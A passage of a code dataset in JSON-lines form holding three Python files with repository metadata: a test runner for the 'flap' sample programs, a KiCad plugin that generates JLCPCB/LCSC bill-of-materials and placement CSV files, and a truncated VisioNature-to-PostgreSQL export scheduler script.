"usage_type": "call"}, {"api_name": "click.option", "line_number": 107, "usage_type": "call"}]}
{"seq_id": "5158779355", "text": "#!/usr/bin/env python3\n\nimport os\nimport re\n\nfrom dataclasses import dataclass\n\nROOTDIR=os.path.realpath(os.path.join(os.path.dirname(__file__), \"../\"))\nSAMPLEDIR = ROOTDIR + \"/sample\"\n\n\nRETURN_RE = re.compile(r\"^//\\s*return=([0-9]+)\")\n@dataclass\nclass TestInput:\n    expected_return: int\n    path: str\n    name: str\n\n\ndef parse_test_data(path):\n    with open(path, \"r\") as f:\n        data = f.read()\n    ret = RETURN_RE.findall(data)[0]\n\n    suite_name = os.path.relpath(path, SAMPLEDIR)\n    suite_name = suite_name.replace(\"/\", \".\")\n    suite_name = suite_name[:-len(\".flap\")]\n    return TestInput(int(ret), path, suite_name)\n\n\n\ndef test_data():\n    test_datas = []\n    for path, dirs, files in os.walk(SAMPLEDIR):\n        for f in [f for f in files if f.endswith(\".flap\")]:\n            test_datas.append(parse_test_data(os.path.join(path, f)))\n    return test_datas\n\n\ndef suites():\n    s = {}\n    for path, dirs, files in os.walk(SAMPLEDIR):\n        path = os.path.relpath(path, SAMPLEDIR)\n        if path == \".\":\n            continue\n        s[path] = [path + \"/\" + f for f in files]\n    return s\n\ndef exec_path():\n    return ROOTDIR + \"/build/bin/flapi\"\n\n\ndef main():\n    tdata = test_data()\n    exe = exec_path()\n\n    for t in tdata:\n        print(f\"running {t.name}\")\n        ret = os.system(\" \".join([exe] + [t.path]))\n        ret >>= 8\n        if ret != t.expected_return:\n            raise ValueError(f\"Unexpected return value: {ret} vs {t.expected_return}\")\n        print(f\"returned {ret}\")\n\nif __name__ == \"__main__\":\n    main()\n\n", "repo_name": "tlammi/flap", "sub_path": "script/run-samples.py", "file_name": "run-samples.py", "file_ext": "py", "file_size_in_byte": 1542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.realpath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 12, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.relpath", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.relpath", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "32874718228", "text": " #!\n# -*- coding: utf-8 -*-\n\n\n__author__ = \"prrvchr@gmail.com\"\n__copyright__ = \"Copyright 2020, prrvchr\"\n__license__ = \"Mozilla Public License v2 or GNU Lesser General Public License v3\"\n__version__ = \"0.0.5\"\n\n\n\"\"\"\n@package\nGenerates a BOM or CPL csv file compatible with:\n    * JLCPcb SMT Assembly service (BOM and CPL file)\n    * LCSC BOM Service (BOM file)\n    * Otherwise a csv file corresponding to the following characteristics\n\n    Functionality:\n        * Generate a comma separated value BOM list (csv file type).\n        * Components are sorted by Reference\n        * Components are grouped by same 'PartNumber', 'SupplierRef'\n        * One value per line\n        * Eeschema required customs fields are:\n            'Manufacturer', 'PartNumber', 'Supplier', 'SupplierRef'\n        * Require custom field 'Supplier' must be set (case insensitive)\n        * Default csv fields are:\n            'Quantity', 'Manufacture Part Number', 'Manufacturer', 'Description', 'Supplier Part Number', 'Package'\n\n    Usage:\n        python \"full_path/jlcpcb-bom-plugin.py\" \"%I\" \"%O\" Quantity=1\n\"\"\"\n\n\nimport os\nimport sys\nimport csv\n\nfrom xml.etree import ElementTree\nfrom collections import OrderedDict\n\n\ng_bomext = 'BOM'\ng_cplext = 'CPL'\ng_posfiles = ('all-pos', 'top-pos', 'bottom-pos')\ng_rotations = {'Reference': 0, 'Value': 5, 'Format': '%.6f'}\n\ng_suppliers = {}\ng_suppliers['Default'] = {}\ng_suppliers['Default']['fields'] = OrderedDict()\ng_suppliers['Default']['fields']['Quantity'] = 'Quantity'\ng_suppliers['Default']['fields']['Manufacture Part Number'] = 'PartNumber'\ng_suppliers['Default']['fields']['Manufacturer'] = 'Manufacturer'\ng_suppliers['Default']['fields']['Description'] = 'ref'\ng_suppliers['Default']['fields']['Supplier Part Number'] = 'SupplierRef'\ng_suppliers['Default']['fields']['Package'] = 'footprint'\ng_suppliers['Default']['delimiter'] = ','\ng_suppliers['Default']['quotechar'] = '\"'\ng_suppliers['Default']['quoting'] = csv.QUOTE_MINIMAL\ng_suppliers['Default']['equal'] = ('PartNumber', 'SupplierRef')\ng_suppliers['Default']['sorted'] = ('Manufacturer', 'PartNumber')\ng_suppliers['Default']['grouped'] = True\ng_suppliers['Default']['generatecpl'] = False\n\ng_suppliers['LCSC'] = {}\ng_suppliers['LCSC']['fields'] = OrderedDict()\ng_suppliers['LCSC']['fields']['Quantity'] = 'Quantity'\ng_suppliers['LCSC']['fields']['Manufacture Part Number'] = 'PartNumber'\ng_suppliers['LCSC']['fields']['Manufacturer'] = 'Manufacturer'\ng_suppliers['LCSC']['fields']['Description'] = 'ref'\ng_suppliers['LCSC']['fields']['LCSC Part Number'] = 'SupplierRef'\ng_suppliers['LCSC']['fields']['Package'] = 'footprint'\ng_suppliers['LCSC']['delimiter'] = ','\ng_suppliers['LCSC']['quotechar'] = '\"'\ng_suppliers['LCSC']['quoting'] = csv.QUOTE_MINIMAL\ng_suppliers['LCSC']['equal'] = ('PartNumber', 'SupplierRef')\ng_suppliers['LCSC']['sorted'] = ('Manufacturer', 'PartNumber')\ng_suppliers['LCSC']['grouped'] = True\ng_suppliers['LCSC']['generatecpl'] = False\n\ng_suppliers['JLCPCB'] = {}\ng_suppliers['JLCPCB']['fields'] = OrderedDict()\ng_suppliers['JLCPCB']['fields']['Comment'] = 'value'\ng_suppliers['JLCPCB']['fields']['Designator'] = 'ref'\ng_suppliers['JLCPCB']['fields']['Footprint'] = 'footprint'\ng_suppliers['JLCPCB']['fields']['LCSC Part #'] = 'SupplierRef'\ng_suppliers['JLCPCB']['delimiter'] = ','\ng_suppliers['JLCPCB']['quotechar'] = '\"'\ng_suppliers['JLCPCB']['quoting'] = csv.QUOTE_MINIMAL\ng_suppliers['JLCPCB']['equal'] = ('ref', )\ng_suppliers['JLCPCB']['sorted'] = ('SupplierRef', )\ng_suppliers['JLCPCB']['grouped'] = False\ng_suppliers['JLCPCB']['generatecpl'] = True\ng_suppliers['JLCPCB']['cplheaders'] = {0: 'Designator',\n                                       3: 'Mid X',\n                                       4: 'Mid Y',\n                                       5: 'Rotation',\n                                       6: 'Layer'}\n\n\ndef getEqual(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['equal']\n    return g_suppliers['Default']['equal']\n\ndef getSorted(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['sorted']\n    return g_suppliers['Default']['sorted']\n\ndef getValid(supplier):\n    return getEqual(supplier) + getSorted(supplier)\n\ndef needGrouping(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['grouped']\n    return g_suppliers['Default']['grouped']\n\ndef getFields(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['fields']\n    return g_suppliers['Default']['fields']\n\ndef getDelimiter(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['delimiter']\n    return g_suppliers['Default']['delimiter']\n\ndef getQuotechar(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['quotechar']\n    return g_suppliers['Default']['quotechar']\n\ndef getQuoting(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['quoting']\n    return g_suppliers['Default']['quoting']\n\ndef needCpl(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['generatecpl']\n    return g_suppliers['Default']['generatecpl']\n\ndef getHeaders(supplier):\n    if supplier in g_suppliers:\n        return g_suppliers[supplier]['cplheaders']\n    return ()\n\ndef getRotations(value):\n    return g_rotations[value]\n\ndef getInputs(path):\n    inputs = []\n    for post in g_posfiles:\n        inputs.append(getInput(path, post))\n    return inputs\n\ndef getInput(path, post, ext='csv'):\n    return \"%s-%s.%s\" % (path, post, ext)\n\ndef getOutput(path, supplier, post, ext='csv'):\n    return \"%s_%s_%s.%s\" % (path, supplier.title(), post, ext)\n\ndef getInteger(string, default=0, minimum=None):\n    try:\n        i = int(string)\n    except ValueError:\n        i = default\n    if minimum is not None:\n        i = max(i, minimum)\n    return i\n\ndef getFloat(string, default=0):\n    try:\n        i = float(string)\n    except ValueError:\n        i = default\n    return i\n\n\nclass Component(object):\n    def __init__(self, component):\n        self.ref = component.attrib['ref']\n        value = component.find('value')\n        if value is not None:\n            self.value = value.text.strip()\n        else:\n            self.value = ''\n        footprint = component.find('footprint')\n        if footprint is not None:\n            self.footprint = footprint.text.strip().split(':').pop()\n        else:\n            self.footprint = ''\n        supplier = component.find('./fields/field[@name=\"Supplier\"]')\n        if supplier is not None:\n            self._supplier = supplier.text.strip()\n        else:\n            self._supplier = ''\n        self.Manufacturer = ''\n        self.PartNumber = ''\n        self.SupplierRef = ''\n        self.Quantity = 1\n        self.Rotation = 0\n\n    @property\n    def isvalid(self):\n        if self._supplier != '':\n            self.Supplier = self._supplier.upper()\n            self._sorted = getSorted(self.Supplier)\n            self._equal = getEqual(self.Supplier)\n            return True\n        return False\n\n    def __eq__(self, other):\n        if self.Supplier != other.Supplier:\n            return False\n        for a in self._equal:\n            if getattr(self, a) != getattr(other, a):\n                return False\n        return True\n\n    def __lt__(self, other):\n        if self.Supplier != other.Supplier:\n            return self.Supplier < other.Supplier\n        for a in self._sorted:\n            if getattr(self, a) != getattr(other, a):\n                return getattr(self, a) < getattr(other, a)\n        return False\n\n    def setCustomFields(self, fields, suppliers):\n        manufacturer = fields.find('./field[@name=\"Manufacturer\"]')\n        if manufacturer is not None:\n            self.Manufacturer = manufacturer.text.strip()\n        partnumber = fields.find('./field[@name=\"PartNumber\"]')\n        if partnumber is not None:\n            self.PartNumber = partnumber.text.strip()\n        reference = fields.find('./field[@name=\"%sRef\"]' % self._supplier)\n        if reference is not None:\n            self.SupplierRef = reference.text.strip()\n        else:\n            reference = fields.find('./field[@name=\"SupplierRef\"]')\n            if reference is not None:\n                self.SupplierRef = reference.text.strip()\n        rotation = fields.find('./field[@name=\"Rotation\"]')\n        if rotation is not None:\n            self.Rotation = getInteger(rotation.text.strip(), 0)\n        quantity = fields.find('./field[@name=\"Quantity\"]')\n        if quantity is not None:\n            self.Quantity = getInteger(quantity.text.strip(), 0, 0)\n        if all((getattr(self, a) for a in getValid(self.Supplier))):\n            if self.Supplier not in suppliers:\n                suppliers.append(self.Supplier)\n            return True\n        return False\n\n\ndef generateBom(xml, path, quantity):\n    suppliers, components, missings = parseXml(xml, quantity)\n    rotations = writeCsv(suppliers, components, path)\n    return suppliers, missings, rotations\n\n\ndef parseXml(xml, quantity):\n    tree = ElementTree.parse(xml)\n    root = tree.getroot()\n    suppliers = []\n    components = []\n    missings = []\n    for c in root.findall('./components/'):\n        component = Component(c)\n        if not component.isvalid:\n            missings.append(component.ref)\n            continue\n        fields = c.find('fields')\n        if not component.setCustomFields(fields, suppliers):\n            missings.append(component.ref)\n            continue\n        if component.Quantity == 0:\n            missings.append(component.ref)\n            continue\n        if needGrouping(component.Supplier):\n            component.Quantity *= quantity\n            exist = next((c for c in components if c == component), None)\n            if exist is None:\n                components.append(component)\n            else:\n                exist.Quantity += component.Quantity\n        else:\n            components.extend([component for c in range(component.Quantity)])\n    return sorted(suppliers), sorted(components), missings\n\n\ndef writeCsv(suppliers, components, path):\n    rotations = {}\n    for supplier in suppliers:\n        if needCpl(supplier) and supplier not in rotations:\n            rotations[supplier] = {}\n        out = getOutput(path, supplier, g_bomext)\n        columns = getFields(supplier).keys()\n        delimiter = getDelimiter(supplier)\n        quotechar = getQuotechar(supplier)\n        quoting = getQuoting(supplier)\n        fields = getFields(supplier).items()\n        with open(out, 'w') as csvfile:\n            c = csv.DictWriter(csvfile,\n                               fieldnames = columns,\n                               delimiter = delimiter,\n                               quotechar = quotechar,\n                               quoting = quoting)\n            c.writeheader()\n            while(len(components) and components[0].Supplier == supplier):\n                row = {}\n                component = components.pop(0)\n                for key, value in fields:\n                    row[key] = getattr(component, value)\n                c.writerow(row)\n                if needCpl(supplier) and component.Rotation != 0:\n                    rotations[supplier][component.ref] = component.Rotation\n    return rotations\n\n\ndef generateCpl(suppliers, path):\n    rotations = {}\n    ref = getRotations('Reference')\n    value = getRotations('Value')\n    format = getRotations('Format')\n    for supplier in suppliers:\n        rotations[supplier] = False\n        for i in getInputs(path):\n            if os.path.isfile(i):\n                out = getOutput(path, supplier, g_cplext)\n                headers = getHeaders(supplier)\n                copyCsv(i, out, headers, suppliers[supplier], ref, value, format)\n                rotations[supplier] = True\n                break\n    return rotations\n\n\ndef copyCsv(i, o, headers, rotations, ref, value, format):\n    with open(i) as r, open(o, 'w') as w:\n        reader = csv.reader(r)\n        writer = csv.writer(w)\n        header = next(reader)\n        for k, v in headers.items():\n           header[k] = v\n        writer.writerow(header)\n        for row in reader:\n            if row[ref] in rotations:\n                rotation = getFloat(row[value]) + rotations[row[ref]]\n                row[value] = format % rotation\n            writer.writerow(row)\n\n\ndef getArguments():\n    xml = sys.argv[1]\n    path = sys.argv[2]\n    quantity = 1\n    if len(sys.argv) > 3:\n        arg = sys.argv[3].split('=')[-1]\n        quantity = getInteger(arg, 1, 1)\n    return xml, path, quantity\n\n\nif __name__ == \"__main__\":\n    xml, path, quantity = getArguments()\n    suppliers, missings, rotations = generateBom(xml, path, quantity)\n    print(\"\")\n    print(\">>> Generating BOM (Bill Of Materials) csv file for (Quantity = %s):\" % quantity)\n    for supplier in suppliers:\n        print(\"\")\n        print(\"%s: %s\" % (supplier, getOutput(path, supplier, g_bomext)))\n\n    if len(missings) > 0:\n        print(\"\")\n        print(\"WARNING: These componants cannot be integrated:\")\n        print(\", \".join(missings))\n\n    suppliers = generateCpl(rotations, path)\n    if len(suppliers):\n        print(\"\")\n        print(\">>> Generating CPL (Component Placement List) csv file for:\")\n    for supplier, status in suppliers.items():\n        if status:\n            print(\"\")\n            print(\"%s: %s:\" % (supplier, getOutput(path, supplier, g_cplext)))\n        else:\n            print(\"\")\n            print(\"ERROR: Can't retrieve a position file like:\")\n            for i in getInputs(path):\n                print(i)\n", "repo_name": "prrvchr/KiCad-BOM-CPL-Plugin", "sub_path": "bom-cpl-plugin.py", "file_name": "bom-cpl-plugin.py", "file_ext": "py", "file_size_in_byte": 13540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.OrderedDict", "line_number": 49, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 58, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 65, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 74, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 81, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 88, "usage_type": "attribute"}, {"api_name": "xml.etree", "line_number": 257, "usage_type": "argument"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 263, "usage_type": "call"}, {"api_name": "xml.etree", "line_number": 263, "usage_type": "argument"}, {"api_name": "xml.etree.ElementTree", "line_number": 263, "usage_type": "name"}, {"api_name": "csv.DictWriter", "line_number": 304, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 329, "usage_type": "call"}, {"api_name": "os.path", "line_number": 329, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 340, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 341, "usage_type": "call"}, {"api_name": "xml.etree", "line_number": 354, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 354, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 355, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 357, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 358, "usage_type": "attribute"}, {"api_name": "xml.etree", "line_number": 360, "usage_type": "name"}, {"api_name": "xml.etree", "line_number": 364, "usage_type": "name"}, {"api_name": "xml.etree", "line_number": 365, "usage_type": "argument"}]}
{"seq_id": "36339715122", "text": "#!/usr/bin/env python3\n\"\"\"\nProgram managing VisioNature export to Postgresql database\n\n\"\"\"\nimport argparse\nimport logging\nimport os\nimport shutil\nimport signal\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime, timezone\nfrom logging.handlers import TimedRotatingFileHandler\nfrom pathlib import Path\n\nimport pkg_resources\nimport psutil\nimport requests\nimport yappi\nfrom apscheduler.events import EVENT_JOB_ERROR, EVENT_JOB_EXECUTED, EVENT_JOB_SUBMITTED\nfrom apscheduler.executors.pool import ProcessPoolExecutor\nfrom apscheduler.jobstores.memory import MemoryJobStore\nfrom apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore\nfrom apscheduler.schedulers import SchedulerNotRunningError\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom bs4 import BeautifulSoup\nfrom jinja2 import Environment, PackageLoader\nfrom pytz import utc\nfrom strictyaml import YAMLValidationError\nfrom tabulate import tabulate\n\nfrom export_vn.download_vn import (\n    Entities,\n    Families,\n    Fields,\n    LocalAdminUnits,\n    Observations,\n    Observers,\n    Places,\n    Species,\n    TaxoGroup,\n    TerritorialUnits,\n    Validations,\n)\nfrom export_vn.evnconf import EvnConf\nfrom export_vn.store_all import StoreAll\nfrom export_vn.store_file import StoreFile\nfrom export_vn.store_postgresql import PostgresqlUtils, StorePostgresql\n\nfrom . import _, __version__\n\nCTRL_DEFS = {\n    \"entities\": Entities,\n    \"families\": Families,\n    \"fields\": Fields,\n    \"local_admin_units\": LocalAdminUnits,\n    \"observations\": Observations,\n    \"observers\": Observers,\n    \"places\": Places,\n    \"species\": Species,\n    \"taxo_groups\": TaxoGroup,\n    \"territorial_units\": TerritorialUnits,\n    \"validations\": Validations,\n}\n\nlogger = logging.getLogger(\"transfer_vn\")\n\n\nclass Jobs:\n    def _listener(self, event):\n        if event.code == EVENT_JOB_SUBMITTED:\n            logger.debug(_(\"The job %s started\"), event.job_id)\n            self._job_set.add(event.job_id)\n        else:\n            if event.job_id in self._job_set:\n                self._job_set.remove(event.job_id)\n            else:\n                logger.error(\n                    _(\"Job %s not found in job_set\"), event.job_id\n                )  # pragma: no cover\n            if event.exception:\n                logger.error(_(\"The job %s crashed\"), event.job_id)  # pragma: no cover\n            else:\n                logger.debug(_(\"The job %s worked\"), event.job_id)\n        logger.debug(_(\"Job set: %s\"), self._job_set)\n\n    def __init__(self, url=\"sqlite:///jobs.sqlite\", nb_executors=1):\n        \"\"\"Initialize class.\n\n        Parameters\n        ----------\n        url: str\n            SQLalchemy URL for persistent jobstore.\n        nb_executors : int\n            Number of concurrent executor processes.\n\n        \"\"\"\n        self._job_set = set()\n        logger.info(\n            _(\"Creating scheduler, %s executors, storing in %s\"),\n            nb_executors,\n            str(url)[0 : str(url).find(\":\")],\n        )\n        jobstores = {\"once\": MemoryJobStore(), \"default\": SQLAlchemyJobStore(url=url)}\n        executors = {\"default\": ProcessPoolExecutor(nb_executors)}\n        job_defaults = {\n            \"coalesce\": True,\n            \"max_instances\": 1,\n            \"misfire_grace_time\": 3600,\n        }\n        self._scheduler = BackgroundScheduler(\n            jobstores=jobstores,\n            executors=executors,\n            job_defaults=job_defaults,\n            timezone=utc,\n        )\n        self._scheduler.add_listener(\n            self._listener, EVENT_JOB_SUBMITTED | EVENT_JOB_EXECUTED | EVENT_JOB_ERROR\n        )\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        logger.info(_(\"Shutting down scheduler in __atexit__, if still running\"))\n        try:\n            self._scheduler.shutdown(wait=False)\n        except Exception:\n            pass\n\n    def shutdown(self):\n        logger.info(_(\"Shutting down scheduler\"))\n        try:\n            self._scheduler.shutdown()\n        except SchedulerNotRunningError:  # pragma: no cover\n            pass\n\n    def _handler(self, signum, frame):  # pragma: no cover\n        logger.error(_(\"Signal handler called with signal %s\"), signum)\n        try:\n            self._scheduler.shutdown(wait=False)\n        except SchedulerNotRunningError:\n            pass\n        try:\n            parent_id = os.getpid()\n            for child in psutil.Process(parent_id).children(recursive=True):\n                child.kill()\n        except Exception:\n            pass\n        sys.exit(1)\n\n    def start(self, paused=False):\n        logger.debug(_(\"Starting scheduler, paused=%s\"), paused)\n        self._scheduler.start(paused)\n        signal.signal(signal.SIGINT, self._handler)\n        # signal.signal(signal.SIGTERM, self._handler)\n\n    # def pause(self):\n    #     logger.debug(_(\"Pausing scheduler\"))\n    #     self._scheduler.pause()\n\n    def resume(self):\n        logger.debug(_(\"Resuming scheduler\"))\n        self._scheduler.resume()\n\n    def remove_all_jobs(self):\n        logger.debug(_(\"Removing all scheduled jobs\"))\n        self._scheduler.remove_all_jobs()\n\n    def add_job_once(self, job_fn, args=None, kwargs=None):\n        logger.debug(\n            _(\"Adding immediate job %s\"), args[0].__name__ + \"_\" + args[2].site\n        )\n        self._scheduler.add_job(\n            job_fn,\n            args=args,\n            kwargs=kwargs,\n            id=args[0].__name__ + \"_\" + args[2].site,\n            jobstore=\"once\",\n        )\n\n    def add_job_schedule(\n        self,\n        job_fn,\n        args=None,\n        kwargs=None,\n        year=None,\n        month=None,\n        day=None,\n        week=None,\n        day_of_week=None,\n        hour=None,\n        minute=None,\n        second=None,\n    ):\n        logger.debug(\n            _(\"Adding scheduled job %s\"), args[0].__name__ + \"_\" + args[2].site\n        )\n        self._scheduler.add_job(\n            job_fn,\n            args=args,\n            kwargs=kwargs,\n            id=args[0].__name__ + \"_\" + args[2].site,\n            jobstore=\"default\",\n            trigger=\"cron\",\n            year=year,\n            month=month,\n            day=day,\n            week=week,\n            day_of_week=day_of_week,\n            hour=hour,\n            minute=minute,\n            second=second,\n            replace_existing=True,\n        )\n\n    def count_jobs(self):\n        # self._scheduler.print_jobs()\n        jobs = self._scheduler.get_jobs()\n        logger.debug(_(\"Number of jobs scheduled, %s\"), len(jobs))\n        for j in jobs:\n            logger.debug(\n                _(\"Job %s, scheduled in: %s\"),\n                j.id,\n                j.next_run_time - datetime.now(timezone.utc),\n            )\n        logger.debug(_(\"Number of jobs running, %s\"), len(self._job_set))\n        return len(self._job_set)\n\n    def print_jobs(self):\n        jobs = self._scheduler.get_jobs()\n        logger.info(_(\"Number of jobs scheduled, %s\"), len(jobs))\n        for j in jobs:\n            logger.info(_(\"Job %s, scheduled: %s\"), j.id, j.trigger)\n\n\ndef db_config(cfg):\n    \"\"\"Return database related parameters.\"\"\"\n    return {\n        \"db_host\": cfg.db_host,\n        \"db_port\": cfg.db_port,\n        \"db_name\": cfg.db_name,\n        \"db_schema_import\": cfg.db_schema_import,\n        \"db_schema_vn\": cfg.db_schema_vn,\n        \"db_group\": cfg.db_group,\n        \"db_user\": cfg.db_user,\n        \"db_pw\": cfg.db_pw,\n        \"db_secret_key\": cfg.db_secret_key,\n        \"proj\": cfg.db_out_proj,\n    }\n\n\ndef arguments(args):\n    \"\"\"Define and parse command arguments.\n\n    Args:\n        args ([str]): command line parameters as list of strings\n\n    Returns:\n        :obj:`argparse.Namespace`: command line parameters namespace\n    \"\"\"\n    # Get options\n    parser = argparse.ArgumentParser(\n        description=\"Script that transfers data from Biolovision\"\n        + \"and stores it to a Postgresql database.\"\n    )\n    parser.add_argument(\n        \"--version\",\n        help=_(\"Print version number\"),\n        action=\"version\",\n        version=\"%(prog)s {version}\".format(version=__version__),\n    )\n    out_group = parser.add_mutually_exclusive_group()\n    out_group.add_argument(\n        \"--verbose\", help=_(\"Increase output verbosity\"), action=\"store_true\"\n    )\n    out_group.add_argument(\n        \"--quiet\", help=_(\"Reduce output verbosity\"), action=\"store_true\"\n    )\n    parser.add_argument(\n        \"--init\", help=_(\"Initialize the YAML configuration file\"), action=\"store_true\"\n    )\n    parser.add_argument(\n        \"--db_drop\", help=_(\"Delete if exists database and roles\"), action=\"store_true\"\n    )\n    parser.add_argument(\n        \"--db_create\", help=_(\"Create database and roles\"), action=\"store_true\"\n    )\n    parser.add_argument(\n        \"--db_migrate\",\n        help=_(\"Migrate database to current version\"),\n        action=\"store_true\",\n    )\n    parser.add_argument(\n        \"--json_tables_create\",\n        help=_(\"Create or recreate json tables\"),\n        action=\"store_true\",\n    )\n    parser.add_argument(\n        \"--col_tables_create\",\n        help=_(\"Create or recreate colums based tables\"),\n        action=\"store_true\",\n    )\n    download_group = parser.add_mutually_exclusive_group()\n    download_group.add_argument(\n        \"--full\", help=_(\"Perform a full download\"), action=\"store_true\"\n    )\n    download_group.add_argument(\n        \"--update\", help=_(\"Perform an incremental download\"), action=\"store_true\"\n    )\n    download_group.add_argument(\n        \"--schedule\",\n        help=_(\"Create or modify incremental download schedule\"),\n        action=\"store_true\",\n    )\n    parser.add_argument(\n        \"--status\",\n        help=_(\"Print downloading status (schedule, errors...)\"),\n        action=\"store_true\",\n    )\n    parser.add_argument(\n        \"--count\",\n        help=_(\"Count observations by site and taxo_group\"),\n        action=\"store_true\",\n    )\n    parser.add_argument(\n        \"--profile\", help=_(\"Gather and print profiling times\"), action=\"store_true\"\n    )\n    parser.add_argument(\"file\", help=_(\"Configuration file name\"))\n\n    return parser.parse_args(args)\n\n\ndef init(file: str):\n    \"\"\"Copy template YAML file to home directory.\"\"\"\n    yaml_src = pkg_resources.resource_filename(__name__, \"data/evn_template.yaml\")\n    yaml_dst = str(Path.home() / file)\n    logger.info(_(\"Creating YAML configuration file %s, from %s\"), yaml_dst, yaml_src)\n    shutil.copyfile(yaml_src, yaml_dst)\n    logger.info(_(\"Please edit %s before running the script\"), yaml_dst)\n\n\ndef col_table_create(cfg, sql_quiet, client_min_message):\n    \"\"\"Create the column based tables, by running psql script.\"\"\"\n    logger.debug(_(\"Creating SQL file from template\"))\n    env = Environment(\n        loader=PackageLoader(\"export_vn\", \"sql\"),\n        keep_trailing_newline=True,\n    )\n    template = env.get_template(\"create-vn-tables.sql\")\n    cmd = template.render(cfg=db_config(cfg))\n    tmp_sql = Path.home() / \"tmp/create-vn-tables.sql\"\n    with tmp_sql.open(mode=\"w\") as myfile:\n        myfile.write(cmd)\n    try:\n        subprocess.run(\n            ' PGPASSWORD=\"' + cfg.db_pw + '\" '\n            'env PGOPTIONS=\"-c client-min-messages='\n            + client_min_message\n            + '\" psql '\n            + sql_quiet\n            + \" --host=\"\n            + cfg.db_host\n            + \" --port=\"\n            + cfg.db_port\n            + \" --dbname=\"\n            + cfg.db_name\n            + \" --user=\"\n            + cfg.db_user\n            + \" --file=\"\n            + str(tmp_sql),\n            check=True,\n            shell=True,\n        )\n    except subprocess.CalledProcessError as err:  # pragma: no cover\n        logger.error(err)\n\n    return None\n\n\ndef migrate(cfg, sql_quiet, client_min_message):\n    \"\"\"Create the column based tables, by running psql script.\"\"\"\n    logger.debug(_(\"Migrating database to current version\"))\n    Environment(\n        loader=PackageLoader(\"export_vn\", \"sql\"),\n        keep_trailing_newline=True,\n    )\n    try:\n        subprocess.run(\n            \"alembic -x db_schema_import=\"\n            + cfg.db_schema_import\n            + \" -x db_url=postgresql://\"\n            + cfg.db_user\n            + \":\"\n            + cfg.db_pw\n            + \"@\"\n            + cfg.db_host\n            + \":\"\n            + cfg.db_port\n            + \"/\"\n            + cfg.db_name\n            + \"--config src/alembic.ini upgrade head\",\n            check=True,\n            shell=True,\n        )\n    except subprocess.CalledProcessError as err:  # pragma: no cover\n        logger.error(err)\n\n    return None\n\n\ndef full_download_1(ctrl, cfg_crtl_list, cfg):\n    \"\"\"Downloads from a single controler.\"\"\"\n    logger.debug(_(\"Enter full_download_1: %s\"), ctrl.__name__)\n    with StorePostgresql(cfg) as store_pg, StoreFile(cfg) as store_f:\n        store_all = StoreAll(cfg, db_backend=store_pg, file_backend=store_f)\n        downloader = ctrl(cfg, store_all)\n        if cfg_crtl_list[downloader.name].enabled:\n            logger.info(\n                _(\"%s => Starting download using controler %s\"),\n                cfg.site,\n                downloader.name,\n            )\n            if downloader.name == \"observations\":\n                logger.info(\n                    _(\"%s => Excluded taxo_groups: %s\"), cfg.site, cfg.taxo_exclude\n                )\n                downloader.store(\n                    id_taxo_group=None,\n                    method=\"search\",\n                    by_specie=False,\n                    taxo_groups_ex=cfg.taxo_exclude,\n                    territorial_unit_ids=cfg.territorial_unit_ids,\n                    short_version=(1 if cfg.json_format == \"short\" else 0),\n                )\n            elif (downloader.name == \"local_admin_units\") or (\n                downloader.name == \"places\"\n            ):\n                logger.info(\n                    _(\"%s => Included territorial_unit_ids: %s\"),\n                    cfg.site,\n                    cfg.territorial_unit_ids,\n                )\n                downloader.store(\n                    territorial_unit_ids=cfg.territorial_unit_ids,\n                )\n            else:\n                downloader.store()\n            logger.info(\n                _(\"%s => Ending download using controler %s\"), cfg.site, downloader.name\n            )\n\n\ndef full_download(cfg_ctrl):\n    \"\"\"Performs a full download of all sites and controlers,\n    based on configuration file.\"\"\"\n    cfg_crtl_list = cfg_ctrl.ctrl_list\n    cfg_site_list = cfg_ctrl.site_list\n    cfg = list(cfg_site_list.values())[0]\n\n    logger.info(_(\"Defining full download jobs\"))\n    # db_url = {\n    #     \"drivername\": \"postgresql+psycopg2\",\n    #     